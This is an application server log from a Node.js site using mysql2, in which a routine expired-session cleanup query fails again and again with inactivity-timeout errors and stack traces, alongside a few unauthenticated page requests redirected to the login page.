  sql: "delete from `sessions` where expired < CAST('2026-01-10 12:28:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 13:24:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 13:24:05' as DATETIME)"
}
2026-01-10T16:04:54.528Z server-connect:router Serving templateView /
2026-01-10T16:04:54.529Z server-connect:app Executing action step identify
2026-01-10T16:04:54.529Z server-connect:app options: { provider: 'security' }
2026-01-10T16:04:54.529Z server-connect:auth No login cookie found
2026-01-10T16:04:54.529Z server-connect:output identity: false
2026-01-10T16:04:54.529Z server-connect:app Executing action step restrict
2026-01-10T16:04:54.529Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-10T16:04:54.530Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 21:27:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 21:27:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 22:54:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 22:54:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 00:44:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 00:44:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 00:54:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 00:54:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 01:06:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 01:06:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 03:04:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 03:04:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 05:24:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 05:24:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 07:58:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 07:58:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 08:58:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 08:58:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 09:21:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 09:21:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 10:40:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 10:40:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 12:08:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 12:08:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 15:01:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 15:01:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 15:06:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 15:06:07' as DATETIME)"
}
2026-01-11T17:56:45.267Z server-connect:router Serving templateView /
2026-01-11T17:56:45.268Z server-connect:app Executing action step identify
2026-01-11T17:56:45.269Z server-connect:app options: { provider: 'security' }
2026-01-11T17:56:45.269Z server-connect:auth No login cookie found
2026-01-11T17:56:45.269Z server-connect:output identity: false
2026-01-11T17:56:45.269Z server-connect:app Executing action step restrict
2026-01-11T17:56:45.269Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-11T17:56:45.270Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 18:14:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 18:14:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 18:33:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 18:33:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 18:50:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 18:50:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 19:03:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 19:03:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 19:43:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
